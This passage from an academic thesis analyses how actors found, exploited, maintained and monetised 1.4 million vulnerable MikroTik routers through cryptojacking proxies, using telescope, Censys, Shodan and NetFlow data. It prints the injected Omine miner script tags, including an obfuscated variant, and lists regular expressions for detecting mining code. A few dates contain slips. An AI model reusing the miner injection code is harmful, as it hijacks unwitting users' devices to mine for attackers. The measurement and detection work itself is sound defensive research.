83], to trace the activities of actors in finding these devices as well as to identify their
installation, maintenance, and monetization strategies. After the monetization through
MITM cryptojacking emerged in July, we then followed the state of the compromised
devices through the public lists Censys and Shodan until the general wind-down of these
campaigns. Details about each dataset are presented below. Table 3.1 lists all datasets
collected and provides links to where they are used for analysis in § 3.5 and 3.6.
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Figure 3.2: Timeline of the cryptojacking campaigns and the used datasets.

3.4.1. NETWORK TELESCOPE

In order to exploit routers using the WinBox vulnerability, the attacker must first know
where vulnerable routers are located. This identification and localization could be done
in one of two ways: either the adversary scans the Internet for open ports or banners that
would identify the devices or obtains a list of devices.

To discover which adversaries are actively scanning the Internet for devices with the
WinBox vulnerability, we rely on a large network telescope of three partially populated
/16 networks, through which a total of approximately 130K dark IP addresses are moni-
tored. In order to discover whether TCP port 8291 is open and to send a payload trigger-
ing CVE-2018-14847, adversaries first need to complete a TCP handshake. This ensures
that perpetrators cannot spoof their source IP. Otherwise, the handshake couldn’t finish
and reveal the location of the adversary or a potential proxy. The telescope collected ap-
proximately 21.7 TB between January 2018 and January 2019, out of which only a small
part of 1.6 GB was probed on port 8291. The size of the used telescope provides tight
approximations of network activity estimations, as shown in [21].

3.4.2. ACTIVE SCANS OF CENSYS & SHODAN

In addition to § 3.3, the exploitation through the rewriting proxy was unusual as it un-
necessarily exposed the Web page to the Internet instead of just presenting it to the
users on the inside. Since RouterOS allows both port 80 and port 8080 to be used by an
HTTP proxy, an Internet-wide survey of these ports made it possible to discover which
MikroTik routers are currently infected as they are serving the proxy page, and based on
the embedded siteKey track who currently “owns” the device.
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Table 3.1: Summary of the datasets and their usage in this analysis.

Dataset Time frame Size Usage in analysis

Telescope Jan 2018 – Jan 2019 1.6 GB Adversarial identification
through port scanning (3.5.1)

Censys Jul 2018 – Apr 2019 43 GB Adversarial targeted scanning (3.5.1),
Infections and re-infections (3.5.2),
System architecture (3.5.3),
Monetization configuration (3.5.4),
Revenue and ecosystem (3.6)

Shodan Jul 2018 – Apr 2019 236 GB Adversarial use of public datasets (3.5.1),
System architecture (3.5.3)

NetFlows Jan 2018 – Jan 2019 3.2 TB Characterization of port scanning (3.5.1),
System architecture (3.5.3),
Evolution of monetization (3.5.4),
Maintenance patterns (3.5.5),
Revenue and ecosystem (3.6)

Table 3.2: Regular expressions used to detect mining code in the Censys datasets.

Miner type Regular expression

Coinhive new CoinHive\.Anonymous | authedmine.com/lib/
coinhive.com/lib/coinhive.min.js | coinhive | cnhv\.co

Cryptoloot CRLT\.anonymous | webmine.pro/lib/crlt.js | cryptoloot
verifier.live/lib/crypta.js | crypta

Coinimp coinimp | new CoinImp.Anonymous
new Client.Anonymous | scrip | srcips | priv\.su
freecontent.data | freecontent.date | hashing\.win
hostingcloud.science | freecontent.stream

Omine omine\b | omineID
Webminer coinwebmining.com | cwm\.js | serv1swork

mining711 | gazanew
Mineralt ecart\.html\?bdata= | amo\.js\" | mepirtedic\.com

gramombird\.com | tulip18\.com | mineralt\.io
dinorslick | istlandoll\.com | feesocrald
besstahete\.info | nexioniect\.com | pampopholf\.com

Coinhave minescripts\.info
Coinpot coinpot | wait\.php
Monero-mining perfekt
Webminepool webminepool\.com/lib/base\.js | WMP\.Anonymous
Obfuscated 147\.135\.234\.198 | 91\.134\.24\.238

unescape | pastebin
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CENSYS

To trace infections and their evolution, we thus rely on Censys [61], which scans and
archives the responses of all IPv4 addresses on a number of common ports, among them
8080 and 80. As the vulnerability was exploited for cryptomining in July 2018, we re-
trieved these Internet surveys twice a week from July 2018 until the end of the study
in April 2019. We identify a router as a MikroTik system if the proxy header was set to
MikroTik HttpProxy and mark it as infected when it contains scripts or code for cryp-
tomining. The regular expressions used for this detection step are listed in Table 3.2 and
resulted in a dataset of 43 GB. This yielded a total of 1,452,550 unique IPs belonging to
an infected router at some point during the study.

SHODAN

A second service that scans devices for open ports is Shodan [218]. The service addition-
ally extracts banners to link them with known vulnerabilities, enabling easy searches
for specific devices and credentials. Given the Internet surveys of Censys, we queried
Shodan’s databases and recorded when a particular IP that could be identified as com-
promised due to the HTTP proxy page, including a cryptomining script, appeared in
Shodan’s database. Therefore, we queried the host information endpoint of Shodan’s API
with the history flag enabled and searched for the timestamp when Shodan encountered
the open proxy ports for the first time in their crawls and listed them with the annotation
mikrotik or routeros in their public search results. For the 1.4M routers, this dataset
of historical open ports and services comprised 236 GB of records.

3.4.3. OPERATOR NETFLOWS
While the aforementioned datasets provide insights into vulnerable devices and which
routers are exploited at a given moment, these data sources do not reveal anything about
the scale of the operation and how concretely the infrastructure is managed and con-
trolled. In order to fill this gap, we analyzed NetFlows from the network of a Tier 1 oper-
ator between January 2018 and January 2019, which were collected at a 1:8192 sampling
ratio at each of their edge routers. For the quantification of traffic volumes in § 3.6, the
flow aggregates were scaled up by this sampling ratio.

ANONYMIZATION

While the IP addresses of vulnerable MikroTik devices are public knowledge as they ap-
pear in both Censys and Shodan, we need to ensure the privacy of users and their traffic
during our study. For our analysis, we obtained NetFlow records for all connections from
or to the 1.4M infected MikroTik routers in a tuple consisting of time, source and desti-
nation addresses and ports, as well as packet size, which allowed us to investigate when
and how the routers made connections. The identity of the other endpoint is, however,
irrelevant and was anonymized to a pseudo-random value. For this, the operator applied
the CryptoPan algorithm [257] to the remote points of the NetFlows, which does prefix-
preserving deterministic randomization of IPv4 addresses based on AES as a source of
randomness. The algorithm was proven to be semantically secure by Xu et al. [257], and
the key to the data randomization remained with the Tier 1 operator. The procedure was
developed in collaboration with and approved by the operator’s relevant departments.
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Figure 3.3: Life cycle of the vulnerable routers.

This protocol will thus allow an analysis of whether devices connecting and control-
ling the vulnerable routers are located, for example, in the same /24 network, but not
which one. We can furthermore investigate whether there are specific, anonymized IP
addresses that connect to multiple vulnerable or infected routers to do exploitation or
quantify the number of hijacked flows due to source/destination port combinations but
cannot tell the identity of these devices nor the destinations visited by the victims. In or-
der to help the presentation of the results and elaboration on certain strategies and pat-
terns, the subsequent discussion will include anonymized IP addresses, however these
do not allow any inferences on networks except that addresses in the same netblock – for
example a /24 – were also in the same subnet in the original trace. Whenever we use an
anonymized IP address in the text, it will be printed in italic, while the publicly known
and thus unanonymized IP address of an infected router will be shown in regular font.

3.5. ADVERSARIAL TECHNIQUES, TACTICS & PROCEDURES
In this section, we analyze the techniques, tactics, and procedures (TTP) adversaries use
in the exploitation of 1.4M MikroTik routers and their subsequent abuse. We will split
this discussion based on the stages in the life cycle of a router infection as shown in
Figure 3.3. This life cycle begins with the identification of candidate victims, the ex-
ploitation of the vulnerability, and the methods used to gain a foothold and consolidate
the infection. After a device is compromised, actors will install tools to monetize the
exploited routers and perform maintenance, until the infected system is removed from
the pool due to decommissioning or patching. As we will see in this section, each of the
individual steps can be accomplished in a variety of ways, and we find adversaries using
different techniques.

3.5.1. IDENTIFICATION

In order to gain a foothold on a machine, adversaries first need to know where ex-
ploitable devices are located. This also holds for vulnerable MikroTik routers, of which,
according to market surveys, approximately 2M units were installed worldwide [215].
Routers are usually deployed in one of three ways on the Internet: (a) they are either
provided by the Internet Service Provider ( ISP ) to the customer who uses the device
to connect to the ISP ’s network, (b) they are bought, deployed and operated by the
customer to connect to the Internet, or (c) they are part of the network infrastructure of
the ISP. As RouterOS was used across the entire MikroTik product line, we see vulnerable
devices of all three types in practice.
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Figure 3.4: Geographical location of the MikroTik routers compromised during the study period.

Table 3.3: Top 10 most affected Autonomous Systems (AS).

AS Count (%) AS Count (%)

Telekomunikasi Indonesia 55,082 (3.8%) Cat Telecom 12,883 (0.9%)
Telefonica Brasil S.A. 33,589 (2.3%) Rostelcom-AS 11,352 (0.8%)
TCI 21,357 (1.5%) TOT-NET 11,136 (0.8%)
PTC-Yemennet 13,585 (0.9%) UKRTELNET 10,993 (0.8%)
BSNL-NIB 13,046 (0.9%) IR-THR-PTE 9,248 (0.6%)

Figure 3.4 shows a heatmap of all MikroTik routers that were exploited at least once
during the study period, mapped to a geographic location by using the MaxMind GeoIP
database [156]. The devices are very prevalent in select parts of the world, especially
Brazil or Indonesia, where such a device responded at 29%, and 35% of all publicly ac-
cessible IP addresses of the largest operators in these countries, thereby indicating that
these devices were provided by the ISP to the customers. Table 3.3 lists the number of
compromised MikroTik routers for the 10 most affected autonomous systems and their
share of the overall infected population. We can see that 136,659 exploited MikroTik
routers could be linked back to the 5 most compromised ISPs. The heatmap also shows
sparse deployments throughout the world, with clusters appearing in densely populated
areas, proportionally to the number of IP addresses located in an area, suggesting that
these routers were owned and operated by end customers.

DISCOVERY USING PORT SCANNING

To localize potential victims, adversaries could make use of port scanning to test remote
IPs whether they have TCP port 8291, the port associated with the WinBox vulnerability,
open. This reconnaissance could be done at different levels of granularity and sophis-
tication: on the low end, attackers could blindly trawl through the entire Internet in a
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Figure 3.5: Packets received on port 8291 in our network telescope (in solid blue) and NetFlows observed (in
dashed red).

horizontal port scan to discover any potential victim, albeit at the disadvantage of creat-
ing much noise and potentially being identified and blocklisted. A sophisticated scanner
could, however, do some prior background research and determine in which networks
large MikroTik installations exist as a result of these devices being used within an ISP’s
network or being given out to its customers.

We can differentiate between these types of strategies using the data provided by the
network telescope and the general flow statistics of the Tier 1 operator. Figure 3.5 shows
the absolute number of packets directed against port 8291 in our telescope, as well as
traffic carried by the operator during 2018, aggregated by day. The vertical lines show im-
portant milestones in the lifespan and news coverage of the exploited vulnerability. On
March 24, the average daily traffic towards TCP port 8291 exploded by 6 orders of magni-
tude as the Hajime botnet executed a short but concentrated horizontal scan for the port
across the Internet [177]. On April 23, the vulnerability was discovered and patched by
MikroTik, and the resulting news coverage only led to a very minor continuous increase
in scanning traffic. This is interesting, as, for example, the media reporting around the
Memcached DDoS vulnerability in early 2018 led to a major influx of actors and probing
activity [83]. Starting in mid-July, the first cryptojacking installations started to appear in
the wild, followed by a public proof-of-concept for the exploit. Finally, at the beginning
of August, the CVE report was published in the National Vulnerability Database [178].

As we can see from the graph, the general characteristics of the telescope and Net-
Flow traffic resemble each other. Both record the same sudden increase in network
traffic due to the Hajime botnet at the same moment and with a similar magnitude,
demonstrating that the botnet initiated an unspecific worldwide trawl for the vulnera-
bility. While after this burst, the telescope traffic returns to business as usual, aside from
selected worldwide scans, we see in the NetFlow data that geographically targeted scans
– not targeting our network telescope – immediately followed and continued to run until
the end of the observation period. As the number of infections started to rise in Decem-
ber 2019, we observed increased worldwide scanning activity as both our telescope and
NetFlow data reported more connections toward port 8291.

Out of a total of 1.7M IP addresses that probed the three /16 network ranges in our
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Figure 3.6: Histogram of the specificity of scans for port 8291.

telescope as well as the rest of the Internet during the late March burst, only 124K IPs
continued to probe specific parts of the Internet for router vulnerabilities. This seems
to indicate that the scanners used the data collected from previous tests (as our passive
monitors would not respond to 8291), or that additional knowledge – such as the popu-
larity of MikroTik in specific parts of the world – is used to steer the search. In order to
determine the specificity of these scanners, we compared the traffic distributions of the
Tier 1 operator towards all autonomous systems (AS) with the traffic distribution for the
anonymized scanning source IP addresses. This relative comparison accounted for the
fact that the operator would not be part of an exact random sampling of all worldwide
traffic flows but that due to BGP policies and specific IXP and PoP presences, certain
autonomous systems would be preferred. From this relative comparison, we can deter-
mine whether sources showed specific preferences for select networks or scanned the
Internet non-discriminately. Figure 3.6 shows a summary of all scanners as a histogram
of the scanners’ deviation from the expected non-discriminatory baseline. As we can
see in the graph, there exist three basic behaviors: the bulk – which is also visible in
our telescope – targets the entire Internet unspecifically, a smaller but significantly sized
group that specializes and concentrates the scan on a specific AS, while a small portion
of adversaries scan a large but apparently curated list of destinations.

LOCALIZATION USING PUBLIC DATASETS

In addition to actively scanning and probing IPs on the Internet to test whether they
are running RouterOS and are potentially exploitable, attackers could try to get a pre-
made list of device IPs to connect to potential targets directly, for example, by searching
on Shodan. To determine whether the attacker uses such services to locate vulnera-
ble routers, we consider the moment Censys retrieved a proxy page from a router with
a mining siteKey on port 8080 or 80, which means that at this moment the device was
compromised. If, at that moment, the router was not yet listed in Shodan, the perpetra-
tor must have found the vulnerable router by independently scanning for it. If, prior to
the Censys publication, there was already a record in Shodan, the attacker could have
obtained knowledge from this service.

When we track this relationship for every siteKey on the date it first appeared on the
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Figure 3.7: Percentage of infected unlisted routers per key.

1.4M routers, we find that 54% of the cases a new siteKey is installed on routers that were
already listed in Shodan, whereas 29% of the new installations were derived from inde-
pendent scanning. In the rest of the cases, too few routers were compromised with the
same siteKey to significantly categorize them. Figure 3.7 shows the percentage of un-
listed routers used by actors within the first 14 days of their activity. We clearly see two
regimes. Innovators and early adopters such as d68a7a and hsFAjj which are shown as
dashed lines (for siteKey emergence see Figure 3.11) all perform their own discovery, and
start off with a high number of new, unlisted routers. This percentage drops over time,
as the compromised devices are then included in Shodan. The long-lasting campaign
tD2a2P starts out with 42% unlisted routers on its first and keeps adding unknown de-
vices to its installed base for the months to come. On the other hand, we find a large
number of campaigns that primarily feed off public lists to populate their setups. One of
the most profitable campaigns, 6a9929, had at its peak 13,815 routers infected simulta-
neously, almost exclusively drawn from public lists. As we will see in § 3.6, the degree of
innovation is not a proxy for the amount of revenue these campaigns make – innovation
does not always seem to pay off. To summarize this phase in the life cycle, there is a
wide variance of MikroTik devices located all over the world, we have seen a steadily in-
creasing interest in scanning port 8291 throughout 2018, and half of the newly installed
siteKeys are installed on a router that was already listed in Shodan, whereas only 29% of
all new installations was the result of independent scanning by the adversary.

3.5.2. VULNERABILITY EXPLOITATION
With the vulnerable routers identified, adversaries can trigger the vulnerability by send-
ing a simple payload, as discussed in § 3.3.3. While the activities of the perpetrators on
the devices cannot be inferred using our datasets, we can investigate patterns of adver-
saries to infect devices, and how infected devices are taken over.

INFECTIONS AND REINFECTIONS

From the previous discussion, we have seen in the NetFlow data and our telescope that a
large number of IPs in our telescope and in the NetFlow data scanned for port 8291 and
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that actors additionally used records such as Shodan to find exploitable targets. Once a
device, however, appears in Shodan, it could already be infected due to a proxy service
running on port 80 or 8080. This naturally raises the question of whether and how rein-
fections occur, in other words, whether actors are grabbing compromised devices from
others or are updating siteKeys on routers they already “own”.

Figure 3.8 depicts the transition behavior of the 1.4M routers between siteKeys,
filtered to only include edges if more than 500 devices are taken over from the original
“owner” by a particular new actor. The size of the circle is the number of routers that
transition away from this siteKey, the thickness of the arrow and the color of a circle are
the number of routers that are newly infected with a particular key. Since we can not
retrieve the persona behind a siteKey, we assume in this section that every siteKey is a
different persona. However, as we reveal in § 3.6.2, we have strong suspicions that this is
not the case. In Figure 3.8, we see two types of transition behaviors First, we see siteKeys
which draw their installation base from pools of already infected routers. An example
of this is 4983e3, which relies on lists of infected devices and then reinfects them with a
new siteKey, something we could already infer for this siteKey from Figure 3.7. Second,
we see siteKeys on routers being replaced in a specific sequence by another account.
When the routers of different keys before and after the update share properties, for
example, they are accessed by the same person or share infrastructure components, we
can conclude that these are examples of an actor performing key rotation. The sequence
from iWDUFD to ByMzv3 to aff2ba to ef18c8 shows an example of such a transition,
which is visible as all routers in a node leave towards the same destination as can be
seen in the identical color of node and arrow. A special form of these updates also
appears in the application of obfuscation techniques. For example, the routers infected
by the siteKey 4983e3 were at some point being updated to the iframe code shown in
Listing 3.2. The obfuscated JavaScript expression 0xbdaf(‘0x0’), however, decodes to
4983e3, so here, the transition is an evolution in technique rather than a progression of
accounts. Account rotations, however, do not necessarily occur in chains, an example
being the cluster on the right, where the routers originally mining for hsFAjj transition
towards SK_LCx and oDcuak, and where a little over 15K routers shift back and forth
between the receiving siteKeys. While the reinfection graph only displays the largest
transitions for readability, there is a lot of change happening, especially in the long tail
of the distribution. Overall, 55% of all routers are infected with more than one key, and
15% of all MikroTik devices had 5 or more siteKeys in 2018.

3.5.3. INFECTION CONSOLIDATION

After the adversary has been able to obtain the system credentials and activate the de-
veloper backdoor, root access is used to establish a foothold on the device. As described
in § 3.3, the firewall configuration is changed, the proxy is activated, and additional files
are downloaded to the system. We defer a discussion on monetization to the next sec-
tion and discuss the infrastructure used to perform the scanning, logins, and loading of
additional components.
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<script src=" https :// xmr. omine .org/ assets /v7.js"></ script >
<script >OMINEId (\"4983 e34ef01b4b579725b3a228e59e79 \" ,\" -1\");
throttleMiner =10; </ script >

<script src=" https :// xmr. omine .org/ assets /v7.js"></ script >
<script >var _0xdafb =[ ’\\ x34 \\ x39 \\ x38 \\ x33 \\ x65 \\ x33 \\ x34 \\ x65 \\ x66 \\

x30 \\ x31
\\ x62 \\ x34 \\ x62 \\ x35 \\ x37 \\ x39 \\ x37 \\ x32 \\ x35 \\ x62 \\ x33 \\ x61 \\ x32 \\ x32

\\ x38
\\ x65 \\ x35 \\ x39 \\ x65 \\ x37 \\x39 ’];
OMINEId ( _0xbdaf (’0x0 ’) ,’\\x2d \\x31 ’); throttleMiner =0 xa;</ script >

Listing 3.2: The original Omine infection on top, the obfuscated variant listed on the bottom.

d68a7a
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SK_LCx J3rjnv

sm8UXu

dqorRU
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Figure 3.8: Reinfections of compromised devices with different keys with >500 overlapping IPs.
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NODE TO NODE RECONNAISSANCE

Based on Censys and Shodan data, we obtained a list of infected devices over time and
could, in the NetFlows, thus trace which anonymized IP addresses would connect to
the WinBox service on vulnerable and infected routers. While the bulk of these con-
nections came from a variety of anonymized IPs, 6.5% of the flows towards port 8291
were sent from infected MikroTik routers to other MikroTik routers. We observed 948 in-
fected routers which were systematically scanning their local subnet for additional vul-
nerable routers on port 8291. While based on NetFlows it is not clear whether these
infected routers only enumerate vulnerable hosts or also perform the compromise it-
self, we find this additional structural component noteworthy. Interestingly, this behav-
ior was only implemented in geographic regions where MikroTik routers seemed to be
rolled out structurally by ISPs, as we observed this behavior specifically in Brazil.

INFRASTRUCTURE

In August 2018, the first router infections spread throughout Brazil and were under the
control of a sophisticated adversary. After successfully locating vulnerable MikroTik de-
vices, it exploited the WinBox vulnerability and injected both a miner into the HTTP
proxy page and installed a script that would fetch new updates and commands from
a staging server on port 2008 every 30 seconds. These updates could involve changes
in the miner service or a new siteKey. Using our NetFlow data, we have identified six
of these staging servers in the subnet of 211.164.222.*, which confirms the research of
[228]. We have identified that these staging servers are active from 26 July to 21 Septem-
ber 2018, and these servers have connected to 220 distinct infected routers during this
period. The most prominent siteKey involved in making these connections was hsFAjj.
However, our NetFlow data also shows that devices infected by SK_LCx and oDcuak be-
gin to make contact with these servers towards the end of this period, suggesting a link
between these siteKeys.

Based on the connection patterns of the compromised routers and the maintenance
activities (which we discuss in § 3.5.5), we can deduct the system architecture as depicted
in Figure 3.9. While a handful of infected routers are performing scanning and infections
within the same prefix, compromised routers remain unconnected among themselves.
They only have two flows in common: the connection on port 2008 to a handful of stag-
ing or Command & Control (C&C) servers, as well as SSH flows on port 22 from a shared
origin. When a router is taken over, the new perpetrator does not seem to always aim to
eradicate a previous infection after having replaced the proxy template and siteKey. In
fact, we find numerous examples where the routers taken over by a different siteKey keep
beaconing to staging servers associated with an unrelated actor, who shows no other
commonalities or features with the new owner.

3.5.4. MONETIZATION

With the vulnerability triggered and a foothold on the routers established, the adver-
saries moved to the exploitation of the routers for monetary gain. Over the course of
the study period, we observed the evolution of two monetization strategies. First, the
routers are used as a (free) proxy service, and second, cryptomining code is injected into
users’ web browsing sessions.
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Figure 3.9: Schematic overview of the system architecture.

HTTP PROXIES

The first use case of the compromised MikroTik routers was the establishment of HTTP
proxies. Here, traffic from a Web browser to a Web server is tunneled through the HTTP
proxy, thus masking the IP address of the client towards the server. HTTP proxies are
used as a basic variant of a VPN service, although application-protocol specific and with
limited authentication options, if at all implemented. Starting from July 9, 2018, the first
MikroTik routers were repurposed as HTTP proxies, which we identified from the emer-
gence of large incoming traffic towards specific high TCP ports, namely 36551, 53281,
and 58833. This use case remained, however, relatively rare, with only 3,216 of the to-
tal 1.4M infected routers being abused in this way. Interestingly, the usage as an HTTP
proxy did not seem to serve a monetary gain, as within 3 days 95% of the routers for
which these unusual spikes appeared were posted to free public proxy lists [198], and al-
lowed a connection without user credentials. This usage was only relatively short-lived,
as most were disabled within 40 days, at which point SOCKS proxies were spun up at
TCP 4145.

SOCKS PROXIES

In contrast to HTTP proxies, SOCKS proxies work at the transport layer and forward traf-
fic transparently with regard to the application layer protocol. This allows this proxy
type to be used in combination with any application, thus extending the monetization
potential. Shortly after the emergence of this new use case, the HTTP proxies on the
MikroTik routers were replaced by SOCKS proxies, and 1,530 MikroTik routers remained
in use as SOCKS proxies even until the end of our study. Further characterization of
the NetFlows is not possible, as the application traffic itself would be forwarded inside
the tunnel, and the router would rewrite the outgoing flow to an ephemeral source port.
However, we do find that the exploitation as a SOCKS proxy was under the control of a
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Table 3.4: Router “ownership” based on cryptomining siteKey and corresponding SOCKS proxy activity.

SiteKey hsFAjj J3rjnv SK_LCx oDcuak d68a7a

% of all SOCKS traffic 53.6% 29.1% 7.8% 3.4% 1.2%
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Figure 3.10: Evolution of cryptominers over time per service.

few and not deployed pervasively. We can conclude this, as the use of SOCKS proxies
was never encountered alone, but only in combination with a cryptomining infection.
As we discussed in the previous section, adversaries were routinely reinfecting devices
and by changing the cryptomining siteKeys effectively snatching the devices away from
their competitors. With the infection script reconfiguring the device, including firewall
and proxy settings, we can thus assess that the “ownership” with respect to an active
cryptomining would also indicate who had control over the SOCKS proxy at that point
in time. As we discuss in the next section, we identified a total of 140 cryptomining keys
on the 1.4M MikroTik routers, but as shown in Table 3.4, only five siteKeys were in use
on a router whenever the device was proxying traffic. Their impact is, however, huge:
more than 95% of all MikroTik SOCKS activity that originates from MikroTik routers is
the result of proxies operated by these five siteKeys, with hsFAjj being one of the early
adopters of MITM-based cryptomining. The small number of siteKeys related to SOCKS
proxy activity suggests a relation between those siteKeys, as others do not exhibit this
behavior.

CRYPTOJACKING PROXIES

While the usage as HTTP proxies was not commercialized and only a few actors repur-
posed a limited number of devices as SOCKS proxies, a large number of actors engaged
in cryptojacking user connections, and a total of 140 different cryptomining siteKeys be-
ing installed on the routers during the study, with a maximum of 106 different siteKeys
being active at the same time.
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Table 3.5: Top 10 largest MITM cryptojacking campaigns identified.

SiteKey Service Total infected Max. concurrently Date first seen

hsFAjj Coinhive 223,844 167,182 Jul 21, 20218
4983e3 Omine 117,502 64,539 Nov 3, 2018
f6c7f3 Omine 102,241 36,059 Jan 23, 2019
tD2a2P Coinhive 71,513 61,835 Aug 22, 2018
oDcuak Coinhive 55,437 47,310 Aug 1, 2018
48zUYB Coinhive 52,181 26,122 Sep 12, 2018
dqorRU Coinhive 50,566 27,808 Sep 15, 2018
9pFICA Coinhive 50,376 25,928 Sep 15, 2018
BOvlp3 Coinhive 49,640 22,921 Sep 15, 2018
8C7UoT Coinhive 47,981 24,773 Sep 15, 2018

Total 1,452,550 460,618

MINING SERVICES

Figure 3.10 depicts the number of infected routers over time, categorized by mining ap-
plication used. As we see in the figure, MITM-based mining started out based on Coin-
hive, which was at that time the obvious choice to be introduced in the MITM vector as
it was the first service for cryptomining and already widely deployed in website-based
mining [16, 127, 199]. Starting in mid-September, this homogeneity shattered with first
the emergence of CoinImp and, later on, Omine, all taking on approximately equal mar-
ket shares, which led to a peak of cryptojacking activity on 19 December 2018, as 460,618
routers were actively cryptojacking concurrently. This activity continued relatively un-
changed until 26 January 2019, when mining activity suddenly disappeared from the
bulk of infected routers. The distribution of miner applications between Coinhive, Coin-
Imp, and Omine remained relatively unchanged.

Interestingly, siteKeys found as related in previous analyses, do not necessarily use
the same mining application, possibly to avert risks from accounts becoming frozen by
an individual cryptomining service. Despite risk being shared across mining services,
several actors also spread out their activities across multiple siteKeys, as can be inferred
when the same maintenance hosts connect to routers with multiple siteKeys (as we will
show in § 3.5.5). These movements between mining services and the market shares of
CoinImp and Omine might also be explainable based on fees: while Omine charges a 2%
fee and CoinImp is entirely free, Coinhive takes a 30% cut.

EVOLUTION OF SITEKEYS

Figure 3.11 shows the evolution of siteKeys installed on MikroTik routers between July
2018 and April 2019, ordered by the time they were first encountered on a router. The
size of the circle indicates how many routers this siteKey was installed on a given day. We
can see that MITM-based cryptomining was pioneered by three siteKeys: first, d68a7a
who emerged first but besides a small peak remained only a minor player. Second, hs-
FAjj, who followed one week later, temporarily controlled 70% of all infected routers and
introduced new strategies for controlling and otherwise monetizing the routers, remain-
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Figure 3.11: Evolution of detected siteKeys over time, colored per mining service.
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Figure 3.12: Additions/deletions over time per siteKey.

ing a steady force until the general decline. Third, oDcuak, like the first mover (d68a7a),
experiences a small surge followed by a steady but comparatively low-volume activity.

Approximately one week after these first movers, a large number of new siteKeys
started to appear, frequently co-emerging in groups that stayed relatively similar in size.
Four sequential blocks of 10 siteKeys can be clearly observed, two of them using Coinhive
and the other two using Omine as their mining service. While all other siteKeys never
reach the same size as hsFajj’s initial deployment (167,182 infections), each of them is
able to hold control over up to 64,539 routers at a time. While we find a total of 1.4M
routers to be vulnerable and, at some point, infected, the perpetrators are never rolling
their cryptojacking infections out to all potential victims simultaneously. Instead, we
see a constant flux, with new routers being infected so that the mining deployments
stay consistent in size. This is necessary, because once infected, most of the routers are
patched quickly, as shown in Figure 3.13. This figure shows the cumulative density func-
tion (CDF) of the number of days a router is infected on a logarithmic scale. We see that
50% of the devices are patched within 18 days after compromise, whereas 30% of the
devices remain active for more than 50 days, urging actors to constantly replace disap-
pearing routers to maintain their installation base.

This is best observed when we look at the siteKeys in Figure 3.11 that remain relatively
constant over time. Four of these siteKeys are depicted in Figure 3.12 with respect to daily
additions and removals from the pool, indicated in blue and red respectively, starting
from the day the siteKey first became active. This behavior, as well as the sets of siteKeys
that appear together, might indicate a strategy to offset risk. If a particular siteKey gets
blocked by a mining service, others will still generate profits. The same might hold for the
deployment size in general, where an all-out operation from becoming too greedy could
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Figure 3.14: New and total of IP addresses infected per day.

lead to increased press coverage and faster cleanup of the vulnerability than maintaining
a smaller infection size and thus lower profile. This diversification, however, stops from
December 2018 onwards, where we see that most actors no longer replenish routers lost.
This might be explained by Monero’s significant drop in value, which decreased by 60%
from early November until a month later.

A SUDDEN DROP IN MINING ACTIVITY

Indeed, we observe a steady decline of new devices that are added to the pool from
November 2018 onwards, as shown in the bottom of Figure 3.14, which leads to a flat-
tening out of the overall installation base. As we have already seen in Figure 3.10, the
ecosystem of router-based cryptomining drastically changes in late January. Most appar-
ent is the major drop in participating devices, approximately 87% of all infected routers
disappear, which affects the installation base of all siteKeys across all autonomous sys-
tems and countries. While such a large and universal movement would indicate some
external trigger or cause, we could not find any evidence of a coordinated cleanup ac-
tion, for example, by an ISP or a grey hat hacker (aside from one who has taken credit
for patching 100,000 routers in November 2018 [37]). Additionally, we contacted Censys
whether they had made any changes to their crawling strategy, but that was not the case.
After the sudden cut, we also see a rotation of remaining actors towards new siteKeys,
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Figure 3.15: Relation between the number of flows to port 80 and the number of keys per router.

where the new siteKey f6c73 partially takes over the efforts of 4983e3, however only a few
continue to re-establish their activities and forego previous practices, whereas f6c73 is
responsible for most new infections.

GEOGRAPHICAL FOCUS

Based on the heatmap in Figure 3.4 and the large deployment of MikroTik devices in cer-
tain autonomous systems as shown in Table 3.3, we have seen that a number of coun-
tries seemed prime candidates when looking for MikroTik devices, which would logically
mean that advanced adversaries should focus their activities there. As RouterOS is used
in both consumer devices and carrier-grade routers, we would naturally expect some
devices to be more lucrative than others, immediately posing the question of whether
reinfection of devices – in other words “stealing” routers – would primarily occur in pop-
ular areas and target those devices where a lot of money could be made.

Figure 3.15 shows the number of siteKeys as a function of the amount of NetFlows on
port 80 this router processed during its infection. Counterintuitively, there is no trend
that high-value targets are more fought over than low-value ones. Especially routers with
much traffic tend to stick with just a low number of siteKeys. This is surprising, as a cryp-
tomining operation on a large router would clearly affect more people, lead to more com-
plaints, and thus logically faster patching. The lack of a fight for high-grossing routers
can, however, partially be explained based on the location of the routers, indicated by
the color of the data point. While routers in Indonesia and Brazil – the hotspots of the
infection – cover the entire spectrum and are changing keys considerably, the most sta-
ble infections – and the highest-grossing ones for that matter as we will see in § 3.6 – are
in countries that do not appear anywhere near the top in MikroTik installation counts,
for instance, 6 out of the 10 most grossing routers are located in Iraq. This means that ac-
tors targeting niche markets accomplished much more valuable deployments, as these
routers mined longer for them.
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3.5.5. MAINTENANCE

When we look at the life cycle of a malware infection, for example, a botnet, after the
initial exploitation, the compromised device remains in contact with the perpetrator or
a C&C server to download additional components or receive new configuration. While
we would expect a similar behavior for malware targeting routers, we saw little evidence
for post-compromise maintenance operations.

CONFIGURATION ACCESS AND PERIODIC UPDATES

As a siteKey is directly linked to a particular actor, we analyzed whether any connections
were made between an endpoint and the group of routers that were at a certain mo-
ment compromised by the same siteKey. Using the association rules methodology de-
scribed by Agrawal & Srikant [1], we have searched for maintenance patterns where spe-
cific siteKeys have a large probability to coincide with a specific anonymized IP address
or port number, as maintenance would likely be performed from a set of C&C servers
or from the attacker’s PC. As connections to port 22 (SSH) and 23 (Telnet) in NetFlows
are also caused by prevalent port scanning, we differentiate between port scanning and
active SSH sessions in NetFlows based on the packet size and only include connections
with a confidence c and support s of at least 40% among our router/siteKey set. In other
words, we require that at least 40% of the infected routers had been contacted by a com-
mon origin while being significantly present in the data.

We have observed maintenance connections on port 22 (SSH), which was only pur-
sued by the actor(s) responsible for routers infected with one of three siteKeys oDcuak,
SK_LCx and hsFAjj, while other strains and actors do not seem to deploy such coordi-
nated access. Surprisingly, routers with any of these siteKeys were in contact with the
same remote host at a given moment in time, strongly suggesting that the siteKeys were
actually related to the same persona. In addition, when a new IP address appeared to
make contact with the compromised devices, routers with all three siteKeys were always
contacted by the same source. For example, routers with these siteKeys made SSH con-
nections to 236.197.108.8 between 3 and 20 August 2018, while between 11 and 14 August
2018, these routers were contacted by 236.247.130.64.

Each of these IPs seemed to employ automation, contacting routers either at mid-
night or during the timeframe of 16–19 hours. Besides these IPs, almost no evidence
of scripted interactions between a controlling source and the infected routers has been
found, which would be evident from a large number of connections being made at the
same time, or sequentially within a short time period. In total, we observed 5 IPs making
